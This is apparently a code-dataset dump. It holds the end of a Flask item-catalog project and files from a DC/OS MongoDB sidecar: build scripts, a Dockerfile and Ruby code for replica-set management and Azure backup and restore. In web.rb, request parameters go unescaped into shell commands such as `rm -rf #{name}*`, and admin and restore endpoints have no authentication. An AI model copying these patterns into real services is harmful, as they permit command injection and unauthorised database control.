protective equipment used in many contact sports such as American\n football, Canadian football, lacrosse and hockey. The first football\n shoulder pads were created by Princeton student L.P. Smock in 1877. These\n were made of leather and wool and were thin, light, and did not provide\n much protection. Additionally, they were sewn into the players' jerseys\n rather than being worn as a separate piece of equipment. Allegedly Pop\n Warner was the first to have his players wear shoulder pads. When he was\n coaching at the Carlisle Indian Industrial School, he was the first one\n to use pads made of fiber rather than cotton.\"\"\",\n category=category1, user=user1)\n\nsession.add(item1)\nsession.commit()\n"
},
{
"alpha_fraction": 0.45964565873146057,
"alphanum_fraction": 0.4675196707248688,
"avg_line_length": 32.900001525878906,
"blob_id": "2d3d9a4c87bed09d48a1685b1bc366ba210e02f4",
"content_id": "6d590576c209f1a31a200b74383d40d2773ea6eb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 1016,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 30,
"path": "/vagrant/catalog/templates/categories.html",
"repo_name": "mavaughn07/item-catalog",
"src_encoding": "UTF-8",
"text": "{% extends \"main.html\" %} {% block content %} {% include \"header.html\" %}\n<div class=\"flexible-container\">\n <div class=\"row col-md-9 col-md-offset-1 main\">\n <div class=\"col-md-3\">\n <h3><b>Categories</b></h3>\n {% for category in categories %}\n <div class=\"category\">\n <a class=\"category\" href=\"{{url_for('viewIndividual',\n cat_name=category.name)}}\"><b>{{ category.name }}</b></a>\n </div>\n\n {% endfor %}\n </div>\n <div class=\"col-md-9\">\n <h3><b>Latest Items</b></h3>\n {% for item in latestItems %}\n <div class=\"item\">\n <b>\n <span>\n <a class=\"item\" href=\"{{url_for('viewDescription',\n cat_name=item.category.name,item_name=item.name)}}\">{{item.name}}\n </a></span>\n <span id=\"categoryName\"> ({{item.category.name}})</span>\n </b>\n </div>\n {% endfor %}\n </div>\n </div>\n</div>\n{% endblock %}"
},
{
"alpha_fraction": 0.48804500699043274,
"alphanum_fraction": 0.49648383259773254,
"avg_line_length": 28.66666603088379,
"blob_id": "784bdc343aa12721027d7a97aa1f9ba46c150c87",
"content_id": "003fae56a54d1df3d9bedcf42afe9225e682341c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 711,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 24,
"path": "/vagrant/catalog/templates/deleteItem.html",
"repo_name": "mavaughn07/item-catalog",
"src_encoding": "UTF-8",
"text": "{% extends \"main.html\" %} {% block content %} {% include \"header.html\" %}\n<div class=\"flexible-container\">\n <div class=\"row col-md-9 col-md-offset-1 main\">\n <div class=\"col-md-11\">\n <h3><b>\n <span>Delete the item </span>\n <span>{{item.name}}</span>\n <span>?</span>\n </b></h3>\n\n <div class=\"deleteItem\">\n <form class=\"deleteItem\" action=\"{{url_for('itemDelete',\n item_name=item.name, cat_name=item.category.name)}}\" method=\"POST\">\n\n Are you sure you want to delete? <br>\n <input type=\"submit\" value=\"Submit\">\n </div>\n </form>\n\n </div>\n\n </div>\n</div>\n{% endblock %}"
},
{
"alpha_fraction": 0.7561419606208801,
"alphanum_fraction": 0.7779799699783325,
"avg_line_length": 33.375,
"blob_id": "edeee65e093442f9c151eef80665aadb8eb2775b",
"content_id": "6b69a83b1198e7ea68780bee27e007183c24c4d8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1099,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 32,
"path": "/README.md",
"repo_name": "mavaughn07/item-catalog",
"src_encoding": "UTF-8",
"text": "# Udacity Project 4 Item Catalog\n\n## Used Programs\n* Vagrant\n* Oracle VirtualBox\n* Vagrant 3.5.2\n\n\n## Setup\n* Clone repo locally\n* Run vagrant up inside the vagrant folder\n* Vagrant ssh to connect to the virtual machine\n* Inside the VM, cd to /vagrant/catalog\n* Run python3 views.py\n* In your browser open localhost:5000\n\n* A prebuilt database is in the repo, but if you need to rebuild it from scratch, you can run createCatalog.py\n\nLink structure is setup as the below:\nlocalhost:5000/catalog/[Category Name]/[Item Name]\n/edit and /delete can be added to the end of the link while logged in to access those features\n/create can be used in the place of where catalog is to add an item to the category (without an item name)\n\nlocalhost:500/api.json will return all info\nlocalhost:5000/api/[Category Name].json will return all category information\nlocalhost:5000/api/[Category Name]/[Item Name] will return individual item information\n\n### Planned Future Features\n* Facebook and email login\n* Make pages look better on mobile\n\nNote: Item descriptions were pulled from semi-relevant Wikipedia articles"
}
] | 6 |
comptelfwd/dcos-commons | https://github.com/comptelfwd/dcos-commons | bef2a0f4bdd39bca16cab140a2f897fbe84f4ea6 | ff9ce4226039053d366cdb913edf450f6c432d90 | 54fb3372af7155a1e927e5af9d35e6add7595351 | refs/heads/mongodb-sidecar | 2017-12-14T11:10:14.510594 | 2017-08-22T10:09:35 | 2017-08-22T10:09:35 | 77,926,546 | 0 | 0 | null | 2017-01-03T14:57:12 | 2017-01-03T14:57:15 | 2017-09-07T07:37:13 | Java | [
{
"alpha_fraction": 0.6600719690322876,
"alphanum_fraction": 0.685251772403717,
"avg_line_length": 38.71428680419922,
"blob_id": "1430a6747615753ce665be48b88ba829ad5f8dd1",
"content_id": "76c354020d6d0642557b540a6ba21f15e6db46dc",
"detected_licenses": [
"MIT",
"Apache-2.0"
],
"is_generated": false,
"is_vendor": true,
"language": "Shell",
"length_bytes": 556,
"license_type": "permissive",
"max_line_length": 169,
"num_lines": 14,
"path": "/frameworks/mongodb-sidecar/src/main/dist/create_mongo_user.sh",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "#!/bin/sh\n\n$MESOS_SANDBOX/mongodb-linux-x86_64-$MONGODB_VERSION/bin/mongod --port $MONGODB_PORT --dbpath $VOLUME_PATH &\nsleep 10\n$MESOS_SANDBOX/mongodb-linux-x86_64-$MONGODB_VERSION/bin/mongo mongodb:///tmp/mongodb-$MONGODB_PORT.sock --eval \"db.getSiblingDB('admin').createUser(\n {\n user: 'admin',\n pwd: '$MONGODB_PASSWORD',\n roles: [\n { role: 'root', db: 'admin' }\n ]\n }\n)\"\n$MESOS_SANDBOX/mongodb-linux-x86_64-$MONGODB_VERSION/bin/mongo -u admin -p $MONGODB_PASSWORD mongodb:///tmp/mongodb-$MONGODB_PORT.sock/admin --eval \"db.shutdownServer()\"\n"
},
{
"alpha_fraction": 0.7023346424102783,
"alphanum_fraction": 0.7042801380157471,
"avg_line_length": 22.363636016845703,
"blob_id": "07388af72500fd8035ea771b2fdcd439400b3ed4",
"content_id": "9bbe2409d8c44fce2cf8773559a0664ca3a0cabd",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 514,
"license_type": "permissive",
"max_line_length": 62,
"num_lines": 22,
"path": "/frameworks/helloworld/tests/config.py",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "import sdk_marathon as marathon\nimport sdk_tasks as tasks\n\n\nPACKAGE_NAME = 'hello-world'\nDEFAULT_TASK_COUNT = 3\n\n\ndef configured_task_count():\n return hello_task_count() + world_task_count()\n\ndef hello_task_count():\n config = marathon.get_config(PACKAGE_NAME)\n return int(config['env']['HELLO_COUNT'])\n\ndef world_task_count():\n config = marathon.get_config(PACKAGE_NAME)\n return int(config['env']['WORLD_COUNT'])\n\n\ndef check_running():\n tasks.check_running(PACKAGE_NAME, configured_task_count())\n"
},
{
"alpha_fraction": 0.611494243144989,
"alphanum_fraction": 0.611494243144989,
"avg_line_length": 17.125,
"blob_id": "e8bd6b7d809a605b70c3fdeea0f9b1dad9eba2f6",
"content_id": "9cd3adc0d14b9d1e502d1bb967a8dc0ad3a0883a",
"detected_licenses": [
"MIT",
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Ruby",
"length_bytes": 870,
"license_type": "permissive",
"max_line_length": 53,
"num_lines": 48,
"path": "/frameworks/mongodb-sidecar/src/main/docker/files/sidecar/zk.rb",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "class MyZK\n include Singleton\n\n def setup(zk_url, framework_name)\n @zk ||= ZK.new(zk_url)\n @zk_prefix = \"/dcos/frameworks/#{framework_name}\"\n end\n\n def inspect\n @zk.inspect\n end\n\n # zk proxy\n def zk\n @zk\n end\n\n # query zookeeper for replicaset state\n def replicaset_ititiated?\n path = \"#{@zk_prefix}/initiated\"\n @zk.exists?(path)\n end\n\n # set zk flag upon initialisation\n def set_initiated\n key = \"#{@zk_prefix}/initiated\"\n @zk.mkdir_p(key) unless @zk.exists?(key)\n end\n\n def available_servers\n key = \"#{@zk_prefix}/rs_members\"\n @zk.exists?(key) ? @zk.children(key) : []\n end\n\n def persist_member(host)\n key = \"#{@zk_prefix}/rs_members/#{host}\"\n @zk.mkdir_p(key)\n end\n\n def remove_member(host)\n key = \"#{@zk_prefix}/rs_members/#{host}\"\n @zk.delete(key)\n end\n\n def clean!\n @zk.rm_rf(@zk_prefix)\n end\nend\n"
},
{
"alpha_fraction": 0.6606905460357666,
"alphanum_fraction": 0.6679946780204773,
"avg_line_length": 24.100000381469727,
"blob_id": "6551e094b85b49427bdbb3fc9abcf03b987063f2",
"content_id": "888edad71adc59a583719ece804c2d7a2aa04796",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1506,
"license_type": "permissive",
"max_line_length": 102,
"num_lines": 60,
"path": "/build.sh",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n# This script does a full build/test of SDK artifacts. This does not upload the artifacts, instead\n# see test.sh. This script (and test.sh) are executed by CI upon pull requests to the repository, or\n# may be run locally by developers.\n\n# Prevent jenkins from immediately killing the script when a step fails, allowing us to notify github:\nset +e\n\nPULLREQUEST=\"false\"\nwhile getopts 'p' opt; do\n case $opt in\n p)\n PULLREQUEST=\"true\"\n ;;\n \\?)\n echo \"Unknown option. supported: -p for pull request\" >&2\n exit 1\n ;;\n esac\ndone\nshift $((OPTIND-1))\n\nREPO_ROOT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\ncd $REPO_ROOT_DIR\n\n# GitHub notifier: reset any statuses from prior builds for this commit\n$REPO_ROOT_DIR/tools/github_update.py reset\n\n_notify_github() {\n $REPO_ROOT_DIR/tools/github_update.py $1 build:sdk $2\n}\n\nif [ x$PULLREQUEST = \"xtrue\" ]; then\n echo \"Merging master into pull request branch.\"\n if ! git pull origin master; then\n _notify_github failure \"Merge from master branch failed\"\n exit 1\n else\n _notify_github pending \"Merge from master branch done\"\n fi\nfi\n\n# Build steps for SDK libraries:\n\n_notify_github pending \"SDK build running\"\n\n./gradlew clean jar\nif [ $? -ne 0 ]; then\n _notify_github failure \"SDK build failed\"\n exit 1\nfi\n\n./gradlew check\nif [ $? -ne 0 ]; then\n _notify_github failure \"SDK unit tests failed\"\n exit 1\nfi\n\n_notify_github success \"SDK build succeeded\"\n"
},
{
"alpha_fraction": 0.6797152757644653,
"alphanum_fraction": 0.6939501762390137,
"avg_line_length": 20.615385055541992,
"blob_id": "094bc3352db5843048a8fd52def49c07d9afc5f5",
"content_id": "eec3c7882a3cd814af7b193f32bc5de07a919839",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Ruby",
"length_bytes": 281,
"license_type": "permissive",
"max_line_length": 100,
"num_lines": 13,
"path": "/frameworks/mongodb-sidecar/src/main/docker/files/Gemfile",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "source 'https://rubygems.org'\n\ngem 'zk'\ngem 'httparty'\ngem 'cabin'\ngem 'sinatra', '~> 2.0.0.rc1'\ngem 'puma'\ngem 'jsonpath'\ngem 'mongo'\ngem 'azure'\ngem 'slim'\ngem 'azure-contrib', git: 'https://github.com/shirkevich/azure-contrib.git', branch: 'custom-logger'\ngem 'memory_profiler'\n"
},
{
"alpha_fraction": 0.6585274338722229,
"alphanum_fraction": 0.6619083285331726,
"avg_line_length": 28.910112380981445,
"blob_id": "a2c9a9393da50f4728b475a657d97f87fb1e1d0d",
"content_id": "1b1b905aac42e01c232002688d73323b5cedb9f5",
"detected_licenses": [
"MIT",
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Ruby",
"length_bytes": 2662,
"license_type": "permissive",
"max_line_length": 122,
"num_lines": 89,
"path": "/frameworks/mongodb-sidecar/src/main/docker/files/sidecar.rb",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env ruby\nrequire 'rubygems'\nrequire 'bundler'\nrequire 'singleton'\nrequire 'base64'\n\nBundler.require\n\nrequire 'celluloid/current'\nrequire_relative 'sidecar/azure'\nrequire_relative 'sidecar/mesos'\nrequire_relative 'sidecar/mongo'\nrequire_relative 'sidecar/web'\nrequire_relative 'sidecar/zk'\n\n@framework_name = ENV['APP_NAME'] || 'mongodb-sidecar'\n@mesos_url = ENV['MESOS_URL'] || 'http://master.mezos/mesos'\n@zookeeper_url = ENV['ZK_URL'] || 'zk-1.zk:2181'\n@mongo_path = ENV['MONGO_PATH'] || '/usr/local/bin'\n@mongo_password = ENV['MONGODB_PASSWORD']\n@mongo_rs_name = ENV['MONGODB_REPLSET']\n@mongo_port = ENV['MONGODB_PORT']\n@public_key = ENV['PUBLIC_KEY']\n@azure_storage_account_name = ENV['AZURE_STORAGE_ACCOUNT_NAME']\n@azure_storage_access_key = ENV['AZURE_STORAGE_ACCESS_KEY']\n@azure_storage_container_name = ENV['AZURE_STORAGE_CONTAINER_NAME']\n\n@delay = ENV['DELAY'].to_i || 10\n\n@logger = Cabin::Channel.new\[email protected] = ENV['LOG_LEVEL'] || :info\[email protected](STDOUT)\n\[email protected](\"STARTING mongodb-sidecar helper\", {\n zk_url: @zookeeper_url,\n mesos_url: @mesos_url,\n framework_name: @framework_name,\n mongo_path: @mongo_path\n})\n\n\n# initializing instances\nzk = MyZK.instance\nzk.setup(@zookeeper_url, @framework_name)\[email protected](\"ZK inited\", {zk_info: zk.inspect})\n\nmesos = Mesos.instance\nmesos.setup(@mesos_url, @framework_name, zk, @logger, @mongo_port)\[email protected](\"Mesos inited\", {mesos_info: mesos.version.to_s})\n\nmongo = MyMongo.instance\nmongo.setup(@mongo_path, zk, @logger, @mongo_password, @mongo_rs_name)\[email protected](\"Mongo inited\", {mongo_info: mongo.inspect})\n\nbegin\n azure = MyAzure.instance\n azure.setup(@azure_storage_account_name, @azure_storage_access_key, @azure_storage_container_name, @public_key, @logger)\nrescue\n azure = nil\nend\n\nThread::abort_on_exception = true\nmain_thread = Thread.new do\n # initialize or add unuzed servers to replica\n while(true) do\n begin\n if zk.replicaset_ititiated?\n mongo.add_to_replicaset(mesos.find_unused_servers)\n else\n mongo.init_replicaset(mesos.find_unused_servers)\n end\n sleep(@delay)\n rescue SystemExit, Interrupt\n exit\n rescue Exception => e\n @logger.error(\"something bad happened\", error: e.inspect)\n @logger.debug(e.backtrace)\n abort(e)\n end\n end\nend\n\nSinatraServer.set :logger, @logger\nSinatraServer.set :mongo, mongo\nSinatraServer.set :azure, azure\nSinatraServer.run!\n\n# It should never gets past here\n# main_thread.join\n"
},
{
"alpha_fraction": 0.7105942964553833,
"alphanum_fraction": 0.7157622575759888,
"avg_line_length": 42,
"blob_id": "67fc0513277450cccb0ee2906af8be7af385cef1",
"content_id": "4acc9bdf1d88ad44343df7f83f5c37b5b7de6a2d",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 387,
"license_type": "permissive",
"max_line_length": 146,
"num_lines": 9,
"path": "/frameworks/mongodb-sidecar/build.sh",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nset -e\n\nFRAMEWORK_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nROOT_DIR=$FRAMEWORK_DIR/../..\nBUILD_DIR=$FRAMEWORK_DIR/build/distributions\nPUBLISH_STEP=${1-none}\n${ROOT_DIR}/gradlew distZip -p ${ROOT_DIR}/sdk/executor\n${ROOT_DIR}/tools/build_framework.sh $PUBLISH_STEP mongodb-sidecar $FRAMEWORK_DIR $BUILD_DIR/executor.zip $BUILD_DIR/mongodb-sidecar-scheduler.zip\n"
},
{
"alpha_fraction": 0.631147563457489,
"alphanum_fraction": 0.6438152194023132,
"avg_line_length": 25.84000015258789,
"blob_id": "a2da7ceb5d00c63c9f1410b383bd42e92f267c25",
"content_id": "a803fafe95586d38c0e172684069351b429059b0",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Dockerfile",
"length_bytes": 1342,
"license_type": "permissive",
"max_line_length": 109,
"num_lines": 50,
"path": "/frameworks/mongodb-sidecar/src/main/docker/Dockerfile",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "FROM ubuntu:latest\n\n# RUN apk update &&\\\n# apk add --no-cache ca-certificates wget openssl\\\n# make gcc ruby-dev build-base libc-dev linux-headers &&\\\n# update-ca-certificates\n#\n#\n# RUN bundle config --global frozen 1\n\nENV BUILD_PACKAGES=\"patch gcc make wget g++ \\\n ruby2.3-dev libghc-zlib-dev\"\n\nENV PACKAGES=\"ruby2.3 ruby-switch bzip2 liblz4-tool ca-certificates git\"\n\nRUN apt-get update && \\\n apt-get install -y software-properties-common && \\\n apt-add-repository ppa:brightbox/ruby-ng && \\\n apt-get update && \\\n apt-get install -y $BUILD_PACKAGES && \\\n apt-get install -y $PACKAGES && \\\n ruby-switch --set ruby2.3 && \\\n gem install bundler\n\n\n# WORKDIR /app\nRUN mkdir /cache\nCOPY files/Gemfile /cache/Gemfile\nCOPY files/Gemfile.lock /cache/Gemfile.lock\nRUN cd /cache && bundle install\n\n\nCOPY files/ /app\nRUN cd /app && bundle install\n\n# RUN wget -O /app/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.0/dumb-init_1.2.0_amd64\n# RUN chmod +x /app/dumb-init\nRUN chmod +x /app/sidecar.rb && \\\n chmod +x /app/run.sh\n\n# RUN apt-get remove --purge -y $BUILD_PACKAGES && \\\n# rm -rf /var/lib/apt/lists/* && \\\n# apt-get clean && \\\n# apt -y autoremove\n\n\n# ENTRYPOINT [\"/usr/local/bin/dumb-init\", \"--\"]\n# CMD [\"/app/init.rb\"]\nENTRYPOINT []\nCMD []\n"
},
{
"alpha_fraction": 0.655209481716156,
"alphanum_fraction": 0.7110633850097656,
"avg_line_length": 25.600000381469727,
"blob_id": "1427238b57adf4c85dc79b04c0fd0544b5f46a9f",
"content_id": "12e71df937a2643e0f332788a6725efe534e107e",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 931,
"license_type": "permissive",
"max_line_length": 111,
"num_lines": 35,
"path": "/frameworks/mongodb-sidecar/CHANGELOG.md",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "## [Unreleased]\n\n\n## [0.2.6] - 2017-04-18\n\n### Added\n\n - _dcos-commons_: make volume_type and volume_path configurable\n\n - _sidecar_: endpoint for users creation '/db/users'\n\n `http -f POST sidecar_url:4567/db/users db_name=\"test\" user_name=\"foo\" password=\"bar\"`\n\n - _mongo_: use MONGODB_WT_CACHE env to configure WireTiger cache size, needed to run in dockerized environment\n\n [!] changing MONGODB_WT_CACHE after initializing will break replica set\n\n### Changed\n\n - _dcos-commons_: set marathon memory limit to 1024 and manually set Xmx to 512M\n\n### Fixed\n - _sidecar_: housekeeping after backup\n - _sidecar_: initialization without azure credentials\n\n\n\n## [0.2.4] - 20170-03-14\n\n#### Added\n - _sidecar_: backup/restore functionality with azure blob storage\n\n\n[0.2.6]: https://github.com/comptelfwd/dcos-commons/compare/0.2.4...comptelfwd:0.2.6\n[0.2.4]: https://github.com/comptelfwd/dcos-commons/compare/0.2.3...comptelfwd:0.2.4\n"
},
{
"alpha_fraction": 0.6953892707824707,
"alphanum_fraction": 0.6999244093894958,
"avg_line_length": 30.5,
"blob_id": "1d65a9482ba482c6e15b07894d95c51e69073d59",
"content_id": "002865a122a828b5ac06329c25657f1b985bbb05",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Ruby",
"length_bytes": 1323,
"license_type": "permissive",
"max_line_length": 122,
"num_lines": 42,
"path": "/frameworks/mongodb-sidecar/src/main/docker/files/sidecar/azure.rb",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "class MyAzure\n include Singleton\n\n def setup(storage_account_name, storage_access_key, container_name, public_key, logger)\n Azure.config.storage_account_name = storage_account_name\n Azure.config.storage_access_key = storage_access_key\n @azure_blob_service = Azure::Blob::BlobService.new\n @logger = logger\n begin\n # create public.pem from public_key base64 encoded\n @logger.info(\"PK\", public_key: public_key)\n File.open(\"public.pem\",\"wb\") {|f| f.write(Base64.decode64(public_key))}\n\n @container = @azure_blob_service.create_container(container_name)\n rescue Exception => e\n @logger.warn(\"Can't create container\", error: e)\n @container = @azure_blob_service.get_container_metadata(container_name)\n end\n end\n\n def blob_service\n @azure_blob_service\n end\n\n def container\n @container\n end\n\n def list(container_name)\n @azure_blob_service.list_blobs(container_name) rescue []\n end\n\n def upload(filename)\n file = File.open(filename)\n @azure_blob_service.create_block_blob(@container.name, File.basename(filename), file, chunking: true, logger: @logger)\n end\n\n def download(blobname, container_name = @container.name)\n blob, content = @azure_blob_service.get_blob(container_name, blobname)\n File.open(blobname,\"wb\") {|f| f.write(content)}\n end\nend\n"
},
{
"alpha_fraction": 0.6218388676643372,
"alphanum_fraction": 0.6322224140167236,
"avg_line_length": 30.760639190673828,
"blob_id": "ba9a0dfd5171f14cef152aaf0b16eab20ec6a9bf",
"content_id": "754a002a9484b88bf9f33513feacedb3d76eb5fa",
"detected_licenses": [
"MIT",
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Ruby",
"length_bytes": 5971,
"license_type": "permissive",
"max_line_length": 156,
"num_lines": 188,
"path": "/frameworks/mongodb-sidecar/src/main/docker/files/sidecar/web.rb",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "class SinatraServer < Sinatra::Application\n set :bind, '0.0.0.0'\n set :server, %w[thin puma webrick]\n\n get '/' do\n @zk_rs_members = settings.mongo.zk.available_servers\n if @zk_rs_members.empty?\n erb :initializing\n else\n # @master_status = settings.mongo.master_status\n # @rs_status = settings.mongo.rs_status\n # @server_url = settings.mongo.server_url\n @mongo = settings.mongo\n @azure = settings.azure\n @base_url = request.base_url\n erb :index\n end\n end\n\n get '/master_status' do\n settings.mongo.master_status\n end\n\n get '/rs_status' do\n settings.mongo.rs_status\n end\n\n # https://docs.mongodb.com/manual/tutorial/force-member-to-be-primary/\n get '/forcemaster/:host' do |host|\n settings.logger.warn(\"Forcing host to be primary\", {host: host})\n settings.mongo.forcemaster(host)\n redirect '/'\n end\n\n get '/remove/:host' do |host|\n settings.logger.warn(\"Deleting agent from ReplicaSet:\", {host: host})\n settings.mongo.remove(host)\n redirect '/'\n end\n\n get '/reset_priority' do\n settings.logger.warn(\"Enforcing priority: 1 for all servers:\", {priority: 1})\n settings.mongo.reset_priority\n redirect '/'\n end\n\n get '/backup/list/:container_name' do |container_name|\n content_type :json\n settings.azure.list(container_name)\n .select {|b| (b.name =~ /\\.tar\\.bz2/) || (b.name =~ /\\.tar\\.lz4/)}\n .map {|b| {name: b.name.split('.')[0], size: b.properties[:content_length], last_modified: b.properties[:last_modified]}}.to_json\n end\n\n get '/backup/status/:container_name' do |container_name|\n content_type :json\n\n hours_ago = params[:hours_ago] || 24\n # ruby time object operates with day, so we need to convert hours to fraction of day\n days_ago = hours_ago.to_i/24.0\n\n last_backup = settings.azure.list(container_name).select {|b| b.name =~ /\\.tar\\.lz4/ }.last\n filename = last_backup.name.split('.')[0]\n\n if DateTime.now > DateTime.parse(last_backup.properties[:last_modified]) + days_ago \n settings.logger.error(\"No recent backup found\", last_backup: filename) \n status 503\n {ok: 0, last_backup: filename}.to_json \n else\n {ok: 1, last_backup: filename}.to_json\n end\n end\n\n post '/db/users' do\n content_type :json\n\n db_name = params[:db_name]\n user_name = params[:user_name]\n password = params[:password]\n read_only = params[:read_only] ? true : false\n\n settings.mongo.add_user(db_name, user_name, password, read_only)\n\n settings.logger.info(\"User created\", user: user_name, db: db_name)\n {ok: 1, user: user_name, db: db_name}.to_json\n end\n\n post '/backup/azure' do\n content_type :json\n db_name = params[:db_name]\n\n settings.logger.info(\"Starting #{db_name || 'full'} backup\")\n\n #dump\n filename,success,output = settings.mongo.backup(db_name)\n if success\n #generate random key & encrypt it with public key\n `RANDFILE=${PWD}/.rnd openssl rand -base64 128 -out #{filename}.key.bin`\n `RANDFILE=${PWD}/.rnd openssl rsautl -encrypt -inkey public.pem -pubin -in #{filename}.key.bin -out #{filename}.key.bin.enc`\n\n #tar\n output = `tar cvf #{filename}.tar #{filename}`\n settings.logger.info(\"Tar succeed\", output: output)\n `rm -rf #{filename}`\n\n #archive with lz4\n output = `lz4 -z #{filename}.tar #{filename}.tar.lz4`\n settings.logger.info(\"LZ4 succeed\", output: output)\n `rm #{filename}.tar`\n\n #encrypt archive with random key\n begin\n output = `RANDFILE=${PWD}/.rnd openssl enc -aes-256-cbc -salt -in #{filename}.tar.lz4 -out #{filename}.tar.lz4.enc -pass file:./#{filename}.key.bin`\n settings.logger.info(\"Encryption succeed\", output: output)\n `rm #{filename}.tar.lz4`\n rescue Exception => e\n settings.logger.error(\"Encryption failed\", exception: e)\n end\n\n #upload\n uploaded_names = []\n settings.azure.upload(\"#{filename}.tar.lz4.enc\")\n uploaded_names << \"#{filename}.tar.lz4.enc\"\n settings.azure.upload(\"#{filename}.key.bin.enc\")\n uploaded_names << \"#{filename}.key.bin.enc\"\n\n #clean\n `rm -rf #{filename}*`\n settings.logger.info(\"Cleanup successfull\")\n\n settings.logger.info(\"Backup successfull\", files: uploaded_names)\n {ok: 1, filename: filename}.to_json\n else\n settings.logger.error(\"Backup failed\", error: output)\n status 500\n {ok: 0, error: output}.to_json\n end\n\n end\n\n post '/restore/azure' do\n content_type :json\n name = params[:name]\n db_name = params[:db_name]\n container_name = params[:container_name]\n private_key = params[:private_key]\n\n #private key is used to decrypt random key\n File.open(\"private.pem\",\"wb\") {|f| f.write(Base64.decode64(private_key))}\n\n begin\n #download encrypted archive and key\n if container_name\n settings.azure.download(\"#{name}.key.bin.enc\", container_name)\n settings.azure.download(\"#{name}.tar.lz4.enc\", container_name)\n else\n settings.azure.download(\"#{name}.key.bin.enc\")\n settings.azure.download(\"#{name}.tar.lz4.enc\")\n end\n\n #decrypt random key with private key\n `openssl rsautl -decrypt -inkey private.pem -in #{name}.key.bin.enc -out #{name}.key.bin`\n #decrypt archive with random key\n `openssl enc -d -aes-256-cbc -in #{name}.tar.lz4.enc -out #{name}.tar.lz4 -pass file:./#{name}.key.bin`\n\n #unpack\n `lz4 #{name}.tar.lz4`\n #untar\n `tar xvf #{name}.tar`\n\n success, output = settings.mongo.restore(name, db_name)\n\n #clean\n `rm -rf #{name}* private.pem`\n rescue Exception => e\n success = false\n output = e\n end\n\n if success\n settings.logger.info(\"Restored state from\", filename: name)\n {ok: 1, filename: name}.to_json\n else\n settings.logger.error(\"Error restoring state from\", filename: name, error: output)\n status 404\n {ok: 0, error: output}.to_json\n end\n end\nend\n"
},
{
"alpha_fraction": 0.7057010531425476,
"alphanum_fraction": 0.7226502299308777,
"avg_line_length": 29.904762268066406,
"blob_id": "dbafa629dca7a6d1a3f7623ce972700a6591e4dd",
"content_id": "b7f53fe65e45b1139ce5bffdc34ab303c929b30a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 649,
"license_type": "permissive",
"max_line_length": 86,
"num_lines": 21,
"path": "/release.sh",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\n# Exit immediately on failure:\nset -e\n\nREPO_ROOT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\ncd $REPO_ROOT_DIR\n\n# Build and upload Java library to Maven repo:\n./build.sh\n./gradlew publish\n\n# Scripts below expects S3_BUCKET and SDK_VERSION env vars. To be supplied by Jenkins.\n\n# INFINITY-1208: Disable build and publish for now as it requires changes coming in\n# the self-hosted branch. 3-27-17 bwood\n# ./tools/build_publishable.sh\n# ./tools/release_artifacts.sh\n\n# Note: We *don't* run /tools/release.sh here, and instead have CI run it manually.\n# This ensures that builds against different tags don't step on each other.\n"
},
{
"alpha_fraction": 0.612437903881073,
"alphanum_fraction": 0.6178874969482422,
"avg_line_length": 30.0398006439209,
"blob_id": "8f077b712a967a45cb8894f90b1c18f35061348a",
"content_id": "5107a52fce3a12645266b9ea92b3632345747b0d",
"detected_licenses": [
"Apache-2.0",
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Ruby",
"length_bytes": 6239,
"license_type": "permissive",
"max_line_length": 186,
"num_lines": 201,
"path": "/frameworks/mongodb-sidecar/src/main/docker/files/sidecar/mongo.rb",
"repo_name": "comptelfwd/dcos-commons",
"src_encoding": "UTF-8",
